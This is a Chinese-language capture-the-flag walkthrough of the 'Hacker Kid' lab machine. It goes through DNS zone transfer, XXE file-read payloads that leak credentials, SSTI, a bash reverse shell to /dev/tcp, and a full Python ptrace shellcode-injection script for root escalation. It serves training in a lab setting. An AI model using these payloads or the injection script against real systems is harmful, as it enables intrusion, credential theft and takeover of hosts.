一、目标及攻击方法

1.1、目标:

拿下root权限

1.2、攻击方法

  • 主机发现

  • 端口扫描

  • web信息搜集

  • DNS区域传输

  • XXE注入攻击

  • SSTI模板注入

  • Capabilitie提权

二、信息搜集

2.1、主机发现

sudo arp-scan -l

发现目标靶机ip地址10.0.2.10

image-20240304204246259

2.2、端口扫描

对目标靶机进行扫描

nmap -p- 10.0.2.10

image-20240304204343839

发现开放的端口

nmap -sV -p 53,80,9999 10.0.2.10

进一步扫描靶场端口对应的服务

image-20240304204613588

53端口是DNS服务

80端口是web

Tornado:Python轻量级开放框架

dns域名解析,上网使用的是udp的53端口,tcp的53端口在dns服务器上是同时开放的,tcp的53端口会作为同一个域的两台域名服务器数据同步,数据交换的功能。
DNS服务器之间数据传输使用的是 53/tcp
上网,dns域名解析使用的是 53/udp

2.3、web信息搜集

http://10.0.2.10/

80端口开放,尝试访问靶机,靶机作者提示使用dig

image-20240304204719379

在访问start 时,页面无法访问,后缀名是html,改成php测试一下。发现能够正常访问。说明网站语言为php

http://10.0.2.10/index.html

image-20240304204849937

http://10.0.2.10/index.php

image-20240304204903841

“#” 代表一个网页的标记,可以在同一个页面,插入一个标记,对应的一个链接

image-20240304205131707

访问首页中的app链接,然后点击网页中的链接,发现没有反应。访问其他网页也没收集到更多有用信息

image-20240304205105100

返回首页查看一下首页的源代码,发现源代码中有一段提示:

提示使用get的方式对参数 page_no传参访问页面

image-20240304205642442

三、Burpsuite抓包分析

手动尝试传参几个数字后发现没有任何反应,使用burpsuite的爆破板块,进行尝试。

image-20240304210135388

选择数字从1到100进行爆破尝试

image-20240304210252172

爆破完成后发现21这个参数的长度不一样。

image-20240304210611774

http://10.0.2.10/?page_no=21

访问后发现作者提示的信息。存在多个子域名访问这个靶机,其中一个域名是hackers.blackhat.local

Tip:单个服务器绑定多个网站常见做法

  1. 单服务器绑定多个IP,不用网站访问不同的IP
  2. 只有一个IP,不同的网站访问不同端口
  3. 只有一个IP和一个端口,不同网站使用不同的主机头(域名)

image-20240304210646580

四、DNS区域传输

修改攻击的hosts文件

sudo vim /etc/hosts

将域名绑定到对应的ip上

访问http://hackers.blackhat.local/发现页面并无变化,尝试使用dig

4.1、Dig工具利用

dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具。 它执行 DNS 搜索,显示从受请求的域名服务器返回的答复。 多数 DNS 管理员利用 dig 作为 DNS 问题的故障诊断,因为它灵活性好、易用、输出清晰。
dig命令需要针对域名

axfr 是一个区域传输,可以针对向一个dns服务器发一哥axfr的请求,如果这个服务器支持axfr区域请求的话,他就会把我指定的那个dns区域所有的dns记录都返回。
如果可以成功的话,该区域下的所有的dns记录都会返回。

dig axfr @10.0.2.10 blackhat.local 

image-20240304211545702

4.2、域名解析

发现新的域名mail.blackhat.localhackerkid.blackhat.localhacker.blackhat.local.blackhat.localwww.blackhat.local

把这些域名加入Kali主机hosts文件

image-20240304212149732

将绑定的漏洞尝试一遍后发现只有下面这个域名有用

http://hackerkid.blackhat.local/

image-20240304212223072

五、XXE注入攻击

XXE 为xml的外部实体攻击,请求外部资源 会导致恶意用户提交的恶意的xml请求会发送服务器,执行恶意操作。

实现的效果:任意文件读取、ssrf结合、拒绝服务攻击

xml为标记语言,可以自定义标记语言,利用这种自定义的特性,利用xml进行数据传输,数据存储,所有的数据结构都可以通过xml利用。身份认证也可以使用xml,提交身份认证信息。

xml dtd dtd就是用来定义xml文件结构以及数据。 可以从外部引用和加载一下资源,比如说,你的服务器存在XXE漏洞,你内网存放的机密文件,利用XXE漏洞可以读取出来。

对信息随便填充进行注册时发现报错

使用burpsuite抓包对页面进行分析

image-20240304212447185

利用XXE漏洞,在xml里添加外部资源引用的指令。

xxe利用的payload

<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>

SYSTEM 加入的话,就是引用外部的资源
xxe为变量
将’file:///etc/passwd’ 外部资源的值赋值给xxe这个变量

image-20240304212635417

根据响应包发现该服务器存在xxe漏洞,利用此漏洞,查找相关的内网数据。

发现saket用户可以通过ssh登录的用户,尝试查找数据时,发现一个有用的数据: /home/saket/.bashrc,但直接通过引用外部资源无法读取

image-20240304212815438

<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>

通过把 .bashrc文件通过base64编码一下,在读取出来。

image-20240304212853458

将响应包中的内容进行解码。发现账号和密码

image-20240304213005691

获取到有用的账号密码信息。

username=”admin”

password=”Saket!#$%@!!”

六、SSTI模板注入

之前在进行信息搜集时,发现的9999端口访问后就是登录页面。

http://10.0.2.10:9999

将账号密码输入进行登录时却发现登录不上

根据密码将账号改为Saket,进行登录发现登录成功。

根据页面提示发现name这个参数。

image-20240304213642630

image-20240305150844201

6.1、模板注入

SSTI模板注入:Jinja是一个基于Python设计语言的“全功能模板引擎”

<html>
<body>

<h1>{{ list_title }}</h1> #Python表达式
<h2>{{ list_description }}</h2>

{% for item in item_list %} #Python语句
{{ item }}
{%if not loop,last %},{% endif %}
{% endfor %}
</body>
</html>
Jinja2典型的存在漏洞的服务端代码
from jinja2 import Template
tmpl = Template("<html><h1>Hello " + user.input + "</h1></html>")
print(tmpl.render())

如果没有对用户输入的user.input没有过滤,那么这个地方可能可以执行任意代码Python代码

6.2、通杀pylaod

{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]

针对Python:{{1+abcxyz}}
针对PHP:${1+abcxyz}
针对JAVA:<%1+abcxyz%>
abcxyz:尽量使用无规律、服务器上未定义的字符
http://10.0.2.10:9999/?name={{1+abcxyz}}${1+abcxyz}%3C%1+abcxyz%%3E[abcxyz]

页面报错确定存在模板注入

image-20240304213738088

输入

{{7*7}}

成功执行,进一步验证该页面存在模板注入

image-20240304213816570

6.3、反弹shell

使用kali进行监听

nc -nvlp 7777

image-20240305151808890

浏览器执行payload发现页面报错,

http://10.0.2.10:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.10/7777 0>&1"'}}

对payload进行url编码,再次进行尝试

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.4%2F7777%200%3E%261%22%27%29%7D%7D

payload执行成功,kail监听到靶机。

image-20240304214250833

七、Capabilitie提权

7.1、Capabilitie使用

https://man7.org/linux/man-pages/man7/capabilities.7.html 详细介绍capabilities的用法

getcap -r / 2>/dev/null

​ 查询系统里所有不规则使用capabilities 的命令,因为当前用户权限较低,将报错的信息重定向到/dev/null下

getcap -r

image-20240304214401804

发现getcap没有加入环境变量,指定sbin目录下getcap

/sbin/getcap -r / 2>/dev/null

image-20240304214536996

通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

查询系统上以root权限运行的程序

ps -aef | grep root

image-20240305131534141

7.2、exp传到靶机上

在监听靶机中将目录切换到tmp目录下

cd /tmp

打开kail的web服务,为exp传送到靶机上做准备。

python -m http.server 80
cat inject.py 
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

保存到kali中

访问一下kali的web页面确定inject.py的路径

image-20240305132754634

wget http://10.0.2.4/Desktop/inject.py

在靶机中执行命令下载exp

image-20240305132815687

7.3、exp执行

在进程中执行脚本

python2.7 inject.py 785

image-20240305131622429

脚本注入成功后会启动tcp 5600端口,查看本地监听

netstat -ano |grep 5600

image-20240305131707346

7.4、nc监听

使用kali进行nc监听

nc 10.0.2.10 5600 

image-20240305131428641

查看权限,提权成功。

部分参考:07 HACKER KID: 1.0.1(完成) (yuque.com)

第七周 Hacker_kid -v1.0.1 (yuque.com)